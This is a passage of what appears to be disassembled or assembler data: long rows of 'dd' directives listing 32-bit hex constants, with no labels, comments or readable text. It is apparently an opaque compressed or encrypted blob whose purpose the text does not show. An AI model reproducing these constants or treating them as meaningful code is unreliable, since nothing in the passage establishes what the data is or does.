0C1E706B4h, 76044BBh, 25B1BEF8h dd 0F475D0AFh, 5B7BD08Fh, 0F6023F00h, 0B364937Fh, 247D0F35h dd 0E22044DBh, 0C32980BCh, 7EF66E12h, 7D96E700h, 16A557h dd 2FE3173Eh, 4D912CCEh, 31859003h, 989B40E6h, 2E3D9Dh dd 489F6BA8h, 6A23C775h, 801F6C39h, 0ECD24B3Fh, 579293h dd 0D7157382h, 1755B321h, 31F2620Eh, 96FE0030h, 0E53CD2h dd 0DBBC0950h, 0EB203242h, 0DE181673h, 61E8C8D5h, 4E460F75h dd 56405847h, 0A3689928h, 0ED03D48h, 40A2F0E2h, 272E132Bh dd 0F9440046h, 0C46D6C5Ch, 2100D89Bh, 61990C80h, 8D2E4Ah dd 5D060B0Fh, 9B95EDC6h, 44A52800h, 526091ADh, 50FF24E3h dd 5F230070h, 0CF262AC6h, 0C18298A0h, 6B132C00h, 0C8625737h dd 497998h, 29563470h, 0A1B346FFh, 4CB27300h, 0F739360Dh dd 343F3C85h, 5101007Bh, 594EE5D2h, 870B9890h, 5B5644h dd 0F5709304h, 3243021Eh, 0D2F269A5h, 0ABC9CB60h, 916B5C02h dd 0C0AAFC98h, 6A7D1Ch, 6338EC21h, 0DB9BC7D3h, 3F269505h dd 79C7DED9h, 0CBF3CAB0h, 0C2A103D7h, 74A9B89Fh, 453C087h dd 4E3A7517h, 2D3883F2h, 0A032BCE8h, 0DA3791h, 0EE7C1F20h dd 3DBA06EDh, 1D00B9FCh, 744007FDh, 33AB8h, 0ED8578C7h dd 8BC2B2DCh, 4D294F00h, 0DAEBF540h, 0D7CE0082h, 613DE9B3h dd 0A2712D50h, 184F0F00h, 0E5D87454h, 0E38501C6h, 6356DD22h dd 0AE53F441h, 47911B12h, 0F106F00h, 5D0AF2Bh, 9EBFEB62h dd 0F536C0FDh, 0D800ACCCh, 5C5D976Ah, 0F210D47Fh, 0C63100D7h dd 0D95E1619h, 1A1E531Dh, 45C0AABFh, 760381E2h, 1FB604ADh dd 0C032AE99h, 0C12A1024h, 5265E800h, 2671FC7Dh, 0FF7F0038h dd 0E3BCA3C6h, 0DC0028EDh, 0AB0AA451h, 732E92h, 498C99B5h dd 0F09ED882h, 328F8503h, 61CB35h, 2CD01F66h, 0E3A74D7Dh dd 80C78D1Ch, 0AE47F840h, 3EDCE00Ch, 0BB00F087h, 3B0D64D4h dd 18243354h, 7A1D1DC8h, 3482A51Dh, 405DAD9Dh, 7D7584D1h dd 113C60EAh, 9A088711h, 74CE2100h, 0E0DF2815h, 0ABB00Fh dd 0CA5FC747h, 453B54ABh, 49042F00h, 0F1A352FCh, 9A91007Ah dd 9F31035Ch, 9E074D97h, 0BE3BF6F2h, 5013839Fh, 45DDB82Fh dd 30E900A4h, 1F94FA7Fh, 3D007A8Ah, 68F762A0h, 9084E42h dd 0F8923AD4h, 50D11400h, 91003C0Dh, 0AC84F49Bh, 0C3B7CEh dd 9811496Ch, 0EBDF5626h, 9C721E00h, 0DE6EC7F1h, 381A019Eh dd 0F4555915h, 0C39DFC39h, 48149304h, 3100DB87h, 9A061B57h dd 0AA35AE02h, 0C0ACFC3Ah, 0E248D116h, 2908000Ch, 741CADC5h dd 0FA00BEF1h, 0A265826Fh, 9060D8ECh, 0C0C52A2Fh, 0EAB20788h dd 337CEFADh, 30CFDE1Bh, 55825862h, 519A11Fh, 0DFABBA80h dd 0E4B878C3h, 2148C0DEh, 0B08044F4h, 0BD17D700h, 83FD65BCh dd 8DCB1F1Fh, 84E8ACh, 0F7A544F2h, 7B3E8A2Ah, 0BB5E3B0Eh dd 0F67927BEh, 0D621DE20h, 41A46086h, 2F042084h, 875FFF00h dd 0AA51CC93h, 0E7910319h, 310FED06h, 0BB3C35E0h, 0D9086C00h dd 9D72307h, 0BE4A1D03h, 9AD6CFE2h, 0DC477080h, 0E638C472h dd 0CD7A00A1h, 75B82244h, 0CB1800B4h, 9B377985h, 55001D8Fh dd 24016FE6h, 5D6461h, 6E728DBAh, 0A7D221B5h, 8062903Ah dd 0B49325F2h, 0B1373Ch, 6E700FA9h, 46DF89B8h, 9868D301h dd 59942027h, 66E0D8h, 8CD42A55h, 0CBCBBCBh, 6DF531Dh dd 41292CC0h, 2B69D75h, 7C45942Ah, 33C06A17h, 0DC0019D5h dd 0DF419F13h, 4B988h, 0DAE0D225h, 0CB2CFC7Ah, 6C2FA703h dd 8791FE0Ch, 9057B300h, 3611004Eh, 0C799D46Fh, 7B00BC94h dd 149C3CD9h, 16BD4A26h, 0FCCE8Bh, 17A2C8B9h, 0BF00C6E1h dd 0D9194D2h, 0C2D0C9h, 5F42601Ch, 0B2842319h, 0CD01CE98h dd 4474AC81h, 0A0D8D36Ch, 0BC7D3A34h, 7A186501h, 0C87F0BC4h dd 0F13C6B5Ah, 80DD8062h, 0C0A829B7h, 94683B77h, 3F4EAE83h dd 0E2A0DFE9h, 0F412C378h, 30013B0Fh, 6D1E3C8Ah, 0C06460C2h dd 999A38DEh, 7AF7EC7Ah, 0A8024F5Ah, 0A1EB007Eh, 78FA93F6h dd 0B9ECB2h, 654C764Dh, 240D37AAh, 0F173B302h, 60B1AF14h dd 0E8B80F80h, 8CEE33A7h, 0C28BDFD6h, 63340CB8h, 7100B498h dd 6E37B365h, 7E77045Ch, 804F05B1h, 0C0D37BE1h, 5F6DB5CCh dd 0BB51AE00h, 477A73ADh, 2C150457h, 9027D9A0h, 814F6D64h dd 6611DC0Fh, 0D10B8056h, 120E643Ah, 0FA6CCCDh, 0A92002A4h dd 0EF094527h, 80D6E600h, 0DACBA52Fh, 0B14C0066h, 7C0DB894h dd 0BF00221Bh, 0FCE020D8h, 355D79h, 7AB10548h, 24F1C57Dh dd 46AAF200h, 5B8F1073h, 6A7E004Fh, 7225E3BEh, 0E90024CDh dd 615911Ch, 2FFA13Dh, 0D0DE6A86h, 0E440BDDFh, 6E001FFAh dd 85C5A6DBh, 0D9B115h, 356DFF06h, 9707BEA4h, 193A6098h dd 0E2A98027h, 0FFA351B2h, 0C5ED06DAh, 0D89BAE2Ch, 134B062Eh dd 7A4E0F3Bh, 18A10C4Fh, 48D6493Eh, 6FA85B0Eh, 0F03F58C7h dd 1D0F4417h, 200045F6h, 94EB0D95h, 3A4A9h, 0D821FE69h dd 4E2BEE0Ch, 0CF2DAF00h, 1EC2DE81h, 7A71008Ah, 5545C7D0h dd 6C021B31h, 0BBFE08D8h, 7F904119h, 34E25ECh, 0FFAB0D93h dd 50F77542h, 0FC8F5112h, 0F73F70Ch, 34D0626h, 9843A14Ch dd 0EDF8A26Fh, 0B660023Dh, 0E16691E1h, 20FB003Ch, 2B8D734Eh dd 4000616Bh, 2D0DD4ABh, 4B9572h, 6F92B109h, 82D253E7h dd 6E24D124h, 2C78A0Fh, 875068FAh, 8E8058F2h, 53179EBh dd 1056DA75h, 29000D3h, 0B7B0B4F6h, 613C9600h, 8FF1EB5Ch dd 0A4D050E0h, 0EEE0076h, 0C3DD89D3h, 0B400CA82h, 851F4204h dd 255F841h, 0F1E99B48h, 64404FEFh, 9D001DD3h, 0E4C111A5h dd 3C156661h, 28822119h, 756AFE7Eh, 63871C40h, 0F02A4A41h dd 600A8D4h, 6796E572h, 1426268h, 61F5B88Bh, 0C86CAF51h dd 2EE273D5h, 0D0A63600h, 9D642F4Ch, 0A2630040h, 0F86654FFh dd 18C03887h, 0D21FEFB6h, 83F202A1h, 5547C71Ch, 33FDB940h dd 82AA2F00h, 24A06987h, 5610049h, 0BC20A4A2h, 0B0000454h dd 0C5B3DE2Ah, 2C8A42AAh, 4C769Eh, 0AB380E6Bh, 0CF16CBCEh dd 381E07A2h, 8D180038h, 26CD179h, 0F8760077h, 2C53BD66h dd 0D4067097h, 0E0E8850Fh, 0C57A2630h, 30C10FD5h, 0C0408245h dd 47EB16C9h, 0AD6AD106h, 581DD2h, 3D4BAC7Ah, 103F0DAFh dd 0C94A9B00h, 67B0CD51h, 0F21B00E9h, 0DB772891h, 0EC9A86DAh dd 1192433Fh, 0C60007C0h, 63E395FDh, 0FE4C84EFh, 9F891650h dd 0DF2704EFh, 5481AAC1h, 0D86445E1h, 8BEC40h, 0F286F13Ch dd 95841709h, 4E9A1C00h, 295A3E15h, 0E0C21F99h, 6AAE89Dh dd 0A15DB023h, 0AD0740A5h, 6E5B6908h, 0C0EE7392h, 73098AF4h dd 1D6C0116h, 0C74004CDh, 0F5A050ECh, 0E892E270h, 25105D18h dd 0F28F3A19h, 0E0805422h dd 0B7AF80BCh, 1BB30700h, 16625DD0h, 88A25C9Ch, 0AB26B07h dd 0E82DF0F6h, 26136684h, 0A80FCF6Eh, 5C03E7BFh, 35399A60h dd 68240077h, 0D7A573F1h, 9B015150h, 0F7980B97h, 2FCC458Fh dd 0FD88C903h, 0C1478491h, 0C387D8B4h, 0B0380700h, 17119ADh dd 118F004Bh, 2CB5808Eh, 7209C29Ah, 40296465h, 1BF6DBCh dd 588FCFE2h, 70D2E915h, 0A37CC5ACh, 13C029E9h, 9D0016A8h dd 4A86259Ch, 0DAB50EF7h, 0D9607F8Eh, 1473678Bh, 6300D87Ah dd 36843768h, 0FA227134h, 48E2DEh, 1B6A727h, 5013AAB4h dd 0D3FE8A01h, 92390A65h, 14D6AA60h, 0B01AA2F9h, 481E7221h dd 0F3073C6Ch, 1880629Fh, 0B29E1EA6h, 1471D8h, 298D6589h dd 0CF235AA0h, 0D1031673h, 948C66EFh, 2FE1EF3Bh, 5AE59256h dd 8414860h, 0A5E146F6h, 35AD3C02h, 66FA2054h, 3D00E07Ah dd 4E1E5621h, 4BDDE8E4h, 3F5C4083h, 76E5666Fh, 10186A00h dd 0D1542997h, 77E670D5h, 40090B7Dh, 6381693Dh, 307E2A42h dd 2800A32Ch, 4DD2C9C5h, 0A7D1DFh, 775C04FDh, 0EB0C53A0h dd 5E190100h, 336421B3h, 50570B51h, 4480CA98h, 6BE5D5A1h dd 0C8B17003h, 0B07C7BABh, 65C48EEh, 1F082F30h, 0C20974FCh dd 816B61F1h, 5A3C4B9Eh, 5CDEA20h, 26C74D6Ah, 670080CFh dd 0EC2C3D10h, 0E802F889h, 403BD7D5h, 0FC96D648h, 0D750BF1h dd 1C00B526h, 0CE03C431h, 7E9813Fh, 9757AC8Eh, 20877BF5h dd 0D3AA0D0h, 605200A3h, 11395558h, 0E53CEF37h, 0EA8C0081h dd 0E07FF9B2h, 15021886h, 5F4386Ch, 541A6D00h, 0F0B5189Bh dd 0D7630E2Ch, 39CF0809h, 0E51047F6h, 7033F160h, 0D02460CCh dd 1407FE24h, 0FA704618h, 4CA11E8Bh, 78EE873Ch, 1374907Bh dd 0B607D7ADh, 9FC394BDh, 4E2A2BE0h, 0B58E0978h, 4890912Dh dd 0A90F5203h, 0E9AE2E7Fh, 554483A8h, 2902E42Bh, 40688353h dd 16009386h, 0A5DEA9E3h, 4D19459Bh, 0D203244Eh, 2491878Ah dd 5A8BF800h, 0BA1C1416h, 0FC40B063h, 0BCC81F17h, 0F00AE0Ah dd 121B0Ch, 0F3EA8988h, 0E306A42Ch, 0C79ECEDEh, 0E8EC0018h dd 0FD225E5h, 4313AEF1h, 0E10061C0h, 7D8E35E2h, 4F220308h dd 3DAD0572h, 4CB7C2F8h, 99592B09h, 455CA770h, 0F0A89020h dd 80FCB99Dh, 0C2D593C8h, 80066CFh, 3D53C175h, 5CECF762h dd 0B6015331h, 59172B51h, 664880AAh, 0D1AE9A07h, 2D301E34h dd 3661C002h, 4E589BC0h, 0E613FD07h, 92664743h, 0A4F51FA4h dd 90540060h, 10500138h, 0A61E4AB0h, 74E4C737h, 0DD2FF600h dd 0E2D8EA19h, 0A38400E3h, 912EE59h, 40C0B3D9h, 46B41C20h dd 0E90430FAh, 14759628h, 0B5D6A812h, 8082DD09h, 0D41607CAh dd 1EC2F6F5h, 7FD813D3h, 0C0FDC59Eh, 0E77C6C75h, 9400ABD2h dd 1368F174h, 1EB3CACFh, 811C4105h, 12067246h, 93EBC4E3h dd 190A2312h, 13A23409h, 0E9701628h, 55704016h, 0A3813238h dd 0CF595A00h, 155E23EFh, 50D2004Bh, 591F9DAh, 3894C53Fh dd 0FA5BFD80h, 90A50CAAh, 4AE10934h, 1CC5AF7Fh, 54408B12h dd 39220342h, 642000ABh, 5E409908h, 8F261C1Ah, 0BD609469h dd 0F36DC7h, 5FEC7E86h, 92BE994Ah, 0D5522700h, 8587B7F1h dd 0FC3900D3h, 0BAEF348Ah, 497D4201h, 0A6B9F0A3h, 1DBC6033h dd 80588D7Bh, 0E0A119B6h, 18F4D378h, 7B7C002Eh, 0E66DEF4Dh dd 0B0D0C7CCh, 49050FD8h, 40A66F56h, 5F3C5411h, 788A48F3h dd 6F00673Ch, 2758911Fh, 49001D9Dh, 0A835978Fh, 3B28AAh dd 0B67A8762h, 0DE79F89Fh, 0C456BE00h, 623B8D7h, 9C3504A8h dd 805E4DBBh, 306467BCh, 1BF7A902h, 0E9A76619h, 283D6560h dd 1214414Ah, 9AF5F9Bh, 7C29034h, 524D5825h, 96E6A032h dd 0BA0181EBh, 8EC5A7D3h, 0BE306811h, 0B02C7AFCh, 9BCD0588h dd 0C0A407E7h, 1D75457Ch, 0FB9D2D1Fh, 60B62CCFh, 0C3013B11h dd 0C9F295Bh, 7A483FA4h, 0EC032Ah, 0B44A6362h, 0E19DE366h dd 220A3Bh, 6554C4D4h, 1211A43h, 25911BABh, 0F8BD2BF0h dd 0FB124A51h, 0B80001A9h, 17C4E062h, 11B06713h, 80B5957Dh dd 9831E154h, 0C9A6D112h, 0A035920Eh, 524AF194h, 0ABF4F90Fh dd 9CBA0083h, 69E9E1F4h, 950798EBh, 7467F81Dh, 3F5E90E0h dd 0B7750082h, 864BC1C4h, 0B80E8FC2h, 0E07CA716h, 7E814FBCh dd 0DDDCA075h, 0D16A2EF6h, 169100F0h, 8EECC527h, 9900D074h dd 0E4B5AACBh, 38070A52h, 0C300A0A5h, 3574B086h, 0EE0F2AE3h dd 6B9C5659h, 0B67E80F5h, 0C49DF3h, 0E45B5899h, 8B94810Dh dd 7B408A00h, 76A214BFh, 0C5220F7Dh, 9B8002C8h, 9B5F31Fh dd 78C71B26h, 7EFB7A80h, 20592h, 5C9614BEh, 311E8B79h dd 6CA4FF00h, 3CA3A707h, 0EEBCB034h, 94C1CD2h, 0B329C0C9h dd 0FA1665D8h, 0B10ACD70h, 14BBE2D9h, 0C0E84F0Fh, 0EBB0F645h dd 0B1B912A4h, 4007162Dh, 1819DF5Ch, 500776FDh, 0FAB32AA3h dd 38F373B1h, 0EA782087h, 0E62281C6h, 32109EB7h, 1B1DFD03h dd 9997F06Ah, 0F72B3F81h, 0E52CC180h, 0C9BCD05Eh, 8638F403h dd 810C51A3h, 58E0A0B8h, 8CC100CDh, 42CABD92h, 9912A35Eh dd 0E8405763h, 0DE4CC5F9h, 0B913009Fh, 1AA3E7B8h, 0A000D2ACh dd 0F673373Eh, 1EA7DBFFh, 419BBFC0h, 2B86B1C6h, 87684036h dd 0AA3F5766h, 6EEF18E2h, 1678FEC0h, 806D2427h, 4760AB6Ch dd 4DC0A354h, 0A200AE76h, 0FA15D30h, 0F8761CBAh, 80740096h dd 737FFF82h, 89003F27h, 0AED00913h, 170334h, 91D6F4AFh dd 53F3DFDBh, 6B5D3Ah, 923DB8BAh, 0CC0635h, 70976FBEh dd 43ABBFCh, 0D2FF6903h, 0A832D589h, 60541E5Bh, 2DAB6C6Dh dd 0CA00581Ch, 0CF9D1375h, 101345Eh, 0BF63F9F4h, 0C09095F3h dd 2E17AF69h, 1400DBB5h, 398DA1A6h, 0FE6C0F80h, 0FF40407Bh dd 0F49A6732h, 6808BC59h, 745504E8h, 98007B98h, 93D35071h dd 0D1890Bh, 1BFE77A5h, 10CADEC3h, 5BFA5A07h, 548398BDh dd 0A0DCC312h, 3E71AF15h, 7F3DAA65h, 7393E603h, 4C90D757h dd 0FB0FD64Eh, 9DB95574h, 0B7D06103h, 0A5ADF0E7h, 0F5D31FFDh dd 6500098h, 0A459E295h, 0C000F9F0h, 73DEF3D4h, 1AB04F0h dd 0DCC22362h, 0BF69E0D8h, 0A49B1FB8h, 332F38C0h, 5BA0C57h dd 0C7ECFA74h, 92C5C1A9h, 0BC288845h, 9FA790A5h, 3F21EF51h dd 90AFB108h, 90E2C8ABh, 0A062840Bh, 0A942FF48h, 212724E5h dd 6312052Bh, 40FAC110h, 228473C8h, 174237BBh, 21FDD911h dd 901084Fh, 0C88E1B90h, 89B79D9h, 0C5314525h, 1E14118Ah dd 84B72990h, 0D3483084h, 2413F242h, 9A8F2183h, 0A080D817h dd 695A17EDh, 0F1991F10h, 4FDF0018h, 0F2CE2AA1h, 0B31A1500h dd 0DBAAF0F3h, 900D006Ch, 555C8A4Ah, 0E800A79Ah, 34C3A991h dd 0E6BE592Dh, 233C006Ah, 0A601B817h, 0E003961h, 0CEACCB91h dd 36276Ch, 2420DEB3h, 0BC29D65Ah, 30E47707h, 6DE0E5C8h dd 1F094AA2h, 0DF19FC4Dh, 97584075h, 87EF72EDh, 5B513600h dd 0C1F082B6h, 0E3E40070h, 13DF09A6h, 15020361h, 0C9BEED29h dd 0E08848EAh, 0D99C00D3h, 6F17C1E3h, 6500E84Ch, 52718AE5h dd 701DA1D2h, 0CFFF00D5h, 330728F6h, 0AB1C9654h, 66808135h dd 4985977Fh, 0E822CCCh, 25180066h, 2C301D92h, 0E74AC700h dd 56CCBF81h, 87C9006Eh, 0AD2D1A1h, 0AD2C3F53h, 0DF01B076h dd 0E86715B4h, 16E143F0h, 10662BFh, 0C47685E9h, 8DD2D898h dd 0A011661Dh, 0DA64DE00h, 573A36h, 0B40F43E0h, 0E1D560E4h dd 136894A0h, 0B7006CF2h dd 81DDDEA8h, 11CEBFCh, 0D784D154h, 0CCB5D2DAh, 0A0A10356h dd 0F7B0C143h, 25B12EC0h, 0FCA0CF1Fh, 308BAE40h, 0F0CD0DFDh dd 4A140024h, 72E04690h, 50FC36C1h, 5C4B3Bh, 0ECFD5FEh dd 4C81D9h, 9B910958h, 0C4AD89D8h, 48AF853Ah, 1786032Bh dd 88EADC51h, 0E6D78367h, 372B1CE5h, 5C57C013h, 9E4A2FBAh dd 4E10C900h, 1955CCB2h, 949F508Ch, 0D3770174h, 0E2F9454Dh dd 0CE1E783h, 5888E4A5h, 0FF866112h, 54003C16h, 4E0E376Fh dd 0FE6407D4h, 908DC5E2h, 5B45317Ah, 0BCD14B00h, 74567871h dd 0EE51005Dh, 7029203Ch, 6A000A97h, 2469350Dh, 74528E1h dd 20F7EC07h, 4B490015h, 6122670h, 5C0E588Bh, 748404Eh dd 71FFF895h, 0D8B70913h, 200E0D43h, 497CC860h, 0BC0EA13Bh dd 0C0CCC045h, 0B8961E5h, 0F3F00C9h, 0D9A45FB1h, 130ECE9Ch dd 0C04CB2D7h, 0FD551198h, 875D0956h, 74C9219Bh, 0B3A0246Dh dd 0A6D28802h, 4867E7EBh, 36A3500h, 5F2F599Ch, 43C822CFh dd 2D05F55Eh, 9057EF94h, 7299FC40h, 1CA4EAC2h, 61D0E10h dd 0A01E7FB2h, 0F1D5C109h, 50700072h, 64831h, 0EFD67C7Eh dd 4598DA4Ch, 111DCD00h, 0A8608371h, 5573003Eh, 0AE6512D0h dd 22010E47h, 84B227E2h, 1AF4318Fh, 6570092h, 60F039E7h dd 5200FAEAh, 2318D4D9h, 144B3Ah, 0A9F26B29h, 0B24DFDCAh dd 74C48F04h, 8FC28Ch, 0B03B51A2h, 0F4DC7C65h, 765000B1h dd 5CCD1936h, 9B009F05h, 0D6EA4AF1h, 0E9D902Dh, 816D3374h dd 5188EB40h, 0A700A84Dh, 0F4ACDE2Bh, 956979h, 0C6E111D2h dd 13FC4AFBh, 15C2DC0Eh, 0A233C040h, 0C227Ch, 3DAEB742h dd 928FDF21h, 0F51FA600h, 6A1461A4h, 7DCCEDCAh, 0B72A3E35h dd 551C7180h, 3041BAB6h, 0A07B2100h, 474CEE3Eh, 0DFD70EBCh dd 2900DA82h, 1D40BEC5h, 7E679A00h, 127672A3h, 152B3D1Fh dd 0A23E470Eh, 3C00F854h, 7904DA59h, 1217A424h, 1C46B290h dd 988EE931h, 2F0A01CAh, 0CE231620h, 3C09D091h, 9EC1AE00h dd 0AA8535E6h, 3EB70017h, 0AFB47563h, 97002283h, 249C0F20h dd 0ADB0F6h, 2D73054Dh, 821291F7h, 0A76DFF13h, 5A96DB00h dd 745EE11Fh, 0CE57006Bh, 0DE604265h, 0D40ECBD6h, 6C2B2F09h dd 3F3CF29Eh, 8C8711D8h, 302582E9h, 0F6A323CDh, 43679200h dd 0AD361044h, 98FD0CF4h, 11D0B9ACh, 0FF17B100h, 3D7196A9h dd 204400CFh, 84BE1437h, 0E600D8F0h, 0BCDF0363h, 0DA98DDh dd 0FEF70E97h, 54350B47h, 3430C3Dh, 421BEF4Dh, 9D29A06Fh dd 4CF57E90h, 0B680E402h, 64D1E6D3h, 88ECEB28h, 0D8F11713h dd 0FFB00803h, 2DC0D4FDh, 0A0783C79h, 0C0294080h, 0AEEF928h dd 6D00D674h, 32364FEh, 972897Ah, 860B6AFCh, 0A4194E80h dd 0B100C2F8h, 0F618BAEDh, 30244812h, 0A2D8A155h, 0FD008742h dd 34587C6Dh, 0F2E6F72h, 6122F403h, 5381FE9Dh, 35A8195Dh dd 0CBCFC8Fh, 368ED001h, 0A2B98517h, 99E2DCh, 0D1B39081h dd 0E57A088Bh, 0D33F416h, 1ECA000h, 0FF3BC61h, 15ED4779h dd 0C0434947h, 0DEA68A08h, 0E800D5F8h, 5FB30BF1h, 364E490h dd 0D4F4750Fh, 55D8D24Eh, 0CF00A7B8h, 885A45Dh, 123428CDh dd 0BC1981h, 0BED97FA8h, 2B02F412h, 0C643ECD7h, 1F4C4004h dd 787001Eh, 21C9C01Ah, 0CF000877h, 0BE2712BFh, 28A05FEh dd 998F23A3h, 4CE8882Bh, 7001EC3Ah, 41B857AAh, 8E3073F9h dd 7EAE0B89h, 50801927h, 607AF1A8h, 0B3D53900h, 5DB91434h dd 22710062h, 0C449976Ah, 410070B5h, 6EDDF0CCh, 0E61182h dd 8F65EAB7h, 8913D618h, 80751C03h, 90610770h, 35AF930h dd 0DC3B48D7h, 0FCE8F5E3h, 0D800EE92h, 0DF7EEF6Ch, 2D9A56Fh dd 6018CFCDh, 5E407A90h, 0D032F39h, 56F73E99h, 3F8AC058h dd 26100ECh, 204390AFh, 47000C79h, 95C32DAAh, 36619ABh dd 1C9CCF0Ah, 0C2C0F6DBh, 14286436h, 0BE1EFC0Ch, 3FC74D4Fh dd 2300DBB1h, 7CF44AF8h, 9D500006h, 790CE6FDh, 0CC3FC502h dd 0A4358073h, 26ECD032h, 0F400910Ah, 9F610DE7h, 770C70h dd 479330D6h, 0D8C6B7F4h, 0BB8E8F07h, 3350FE25h, 1F7FB84Ah dd 81F7CDAAh, 0FDDE52DDh, 9709F45Fh, 0E4B1BE60h, 3933979h dd 46FFF1CBh, 0C10003EEh, 169E4290h, 0E40ADA1h, 88CEE3EAh dd 0E63CAC20h, 56E4BC58h, 901BAB00h, 0E5F7600Fh, 0A08D18EDh dd 149B0B7h, 354F451Ch, 0A17C7B3Fh, 0CC1C223Ch, 0A4202CC8h dd 0A158A7h, 0D68487C7h, 5BD9F4B4h, 789C4A00h, 0A1C224CBh dd 0A9E02892h, 0DFCD18EAh, 0F5C8B837h, 85F0FD3Eh, 0E10A632Dh dd 0E0189BC3h, 30CB9AC4h, 15C805F7h, 0E338D74Fh, 53B41654h dd 177EC00h, 0F839AF88h, 990B065Bh, 0B9CCC2C9h, 0E9F5B512h dd 89C5B40Fh, 89B440D6h, 0AAE6005Fh, 0D3668AFCh, 4900A025h dd 1274CA38h, 1D91D635h, 82E9F76Bh, 0CE5B9DFAh, 2026450h dd 0C6B356B4h, 999AC39Bh, 0DC40A052h, 0BFE0EDh, 2DC4FE57h dd 0FA8A6670h, 4ED758h, 0DC9D61ABh, 260E1679h, 1416C59h dd 386657CDh, 8EDC30BDh, 701D9C19h, 12C0D931h, 6020004Dh dd 461EF97Fh, 4E0FFA4Ah, 0A02AAF97h, 6A3B84DEh, 0ECC33019h dd 454E76D9h, 0EA4B6813h, 0A035C40Eh, 0A6E796FAh, 0A6F0009h dd 4C4182FEh, 7C00FC14h, 14E6CFBh, 0AC0B3Bh, 7750123Ah dd 6E83C24Dh, 0A26A1A24h, 4E38EF00h, 0E48FCF8Dh, 760D397Bh dd 51F811E0h, 0F00033AEh, 3EBE2BF9h, 55661Eh, 0F3701F93h dd 0B78F9BEEh, 51D3900h, 20BED147h, 0B1100068h, 77AE8614h dd 1100C7E6h, 0F28F50B4h, 0FDDA7CFh, 0F371DA81h, 0E29F7080h dd 0F000102Bh, 992C3D26h, 0A0A4410Dh, 1AA94C8h, 0A93A5950h dd 41D2C6B6h, 4018EEB5h, 5EE05480h, 3D470B01h, 33FA6ADEh dd 4697064h, 0CAB38E38h, 0B9508012h, 0A27C1C5Ah, 0C44DD81Ch dd 0B62AC240h, 3B71D6Ah, 6F62E43Bh, 0E79888E1h, 4F13E542h dd 74005E0Ah, 8DCB94A0h, 6C761Bh, 856B1C5Dh, 0E72C8767h dd 9DC0BE12h, 5846E0C0h, 8177B1h, 0C54C3DABh, 571B9853h dd 0C3FA6903h, 0A248E4B5h, 1EACE0F4h, 0D77900A3h, 0F7B68FC0h dd 0CF6B2E8h, 607F9033h, 0CEF0C86Ch, 0A17D0089h, 9EDCE33Bh dd 440134D8h, 0B8EFC829h, 0FFE0338Eh, 75561868h, 450F387Eh dd 646AC600h, 4EF6E641h, 3F9D007Ch, 0ABA8D066h, 0A50017FCh dd 3A295AFBh, 27C935DBh, 0B480FA75h, 0F3E61B9h, 0C589C200h dd 0A0CEEA7h, 46A40258h, 0AF854CA6h, 0FFE48840h, 6D9C8707h dd 0F74082CDh, 988ACF8h, 0F6A40221h, 862B7CA1h, 60542839h dd 12135139h, 3C720FDDh, 204C6CFh, 0C868E035h, 42D8F984h dd 0D5450392h, 223C2FB7h, 3073EFD1h, 67007A44h, 0F25CD250h dd 0A2D836h, 1842E834h, 0B896BD61h, 2A1E53ECh, 7100196Ch dd 0D4269548h, 34F01C5Eh, 0C0BB8175h, 24AAE23Fh, 8B5031FCh dd 889673C9h, 0E049C60Eh, 961D91D0h, 192A60FFh, 44F926E8h dd 8E1A2B0Fh, 7972A290h, 0EB346069h, 23B7035Dh, 0D428B07h dd 9034A0BFh, 0C8F63626h, 0E34E2E0Ch, 0B6105Ch, 48134194h dd 81BCAE55h, 80678A3Bh, 89EF44F6h, 3A75B4h, 0AA79D5FBh dd 6B2A3BD9h, 55E76800h, 0BB4EB9B5h, 78F96F52h, 0DB2EFEA0h dd 27E4C88Ch, 0EBF7CE13h, 4F7F1800h, 0A8F03848h, 547EB1B0h dd 18C6F4F6h, 0D9880525h, 490F2401h, 0C95645CFh, 0A038A02Fh dd 0EB5B8Ch, 6C39E3A5h, 0B4F3B833h, 0ECB9CB00h, 0E4A6F04h dd 7816F6FFh, 2AE90E9Bh dd 550038D7h, 6ED4571Ch, 8E854700h, 4376DEBAh, 23A024B3h dd 66A51C5Dh, 79F081D0h, 2472248Fh, 4E20EC08h, 4522003Fh dd 0BB599607h, 1807EA91h, 0FB41320Dh, 0AE82E290h, 5225001Ch dd 30FEA1A8h, 0E400C7D3h, 3CC1F1B9h, 0D7B760h, 0ED508D22h dd 0CE4B94A9h, 4F006EE6h, 0BB5F319Ah, 0B75E17h, 497DCC2Ch dd 16054433h, 0E8595A60h, 836061h, 9B7540FFh, 0F28D9258h dd 4B1E2700h, 9663BCEDh, 0D27A18D7h, 0E7FF6016h, 0B61F3F09h dd 0BE0F0079h, 9D5A9A6h, 0C7494420h, 1DFEEC80h, 9B00665Ah dd 1630973Ah, 77A83DCh, 0BCF7A55Fh, 8A8CD3ACh, 40320BF0h dd 2B62EF00h, 740D772Fh, 1F7183Dh, 2A6DD0FFh, 0FEE3B400h dd 68DDABBCh, 47550073h, 16347A4Dh, 3FF69B19h, 65D92303h dd 0B976747Fh, 41900B2Dh, 0A8F6C31Bh, 0BDD18864h, 3ACA61Ah dd 5DD84910h, 0D0009FF9h, 0ED6E9913h, 986AF7h, 3557C5AAh dd 74037AF2h, 1285F800h, 272A55C6h, 402009Dh, 7A175ECAh dd 530720C5h, 0C981A126h, 0B7FAB530h, 91690035h, 0C2E0E529h dd 0A300F811h, 7613BBAFh, 175F2EF6h, 192A886h, 89092AB9h dd 9121DC90h, 9B461C00h, 0AE731836h, 9FFADCh, 51064467h dd 0D0119D63h, 4B70CC00h, 365CEB73h, 27CA24B1h, 797E0053h dd 95932C12h, 9EB4E000h, 300ABB6Dh, 90EC033Bh, 3D1D7F96h dd 2BDFDCC8h, 7E8DF500h, 0CF5D7AAFh, 90C87046h, 0A5D1004Ah dd 8758E2D9h, 5F3BBE6Fh, 19780716h, 2DE0E53Bh, 703EA1Eh dd 57361252h, 260830B9h, 6400A435h, 8455AD96h, 6319D46h dd 716E0AA8h, 0CE05A0A5h, 63EEAE72h, 5625FD00h, 0DEE2DAh dd 4EB0D8C9h, 6CF4CFA0h, 7C57C80Eh, 569BC064h, 3335C0h dd 3AC76748h, 0FF6FBFA5h, 0C246DC00h, 2C22393Dh, 0B21B0075h dd 0F96763A7h, 0D004C055h, 967D4FD9h, 59E64480h, 0AD292354h dd 0DB309h, 0BB51A970h, 0CC825CC5h, 40F1E812h, 67C04F0Ch dd 0B35045BCh, 18074781h, 0DB0289A2h, 1D4480EFh, 0BF14F7h dd 388EDD63h, 3DB77D0Ah, 36A3E809h, 0FA000A6h, 0AB6AEDh dd 52477992h, 0F93FAF99h, 505B5733h, 88B5A078h, 6FC612EEh dd 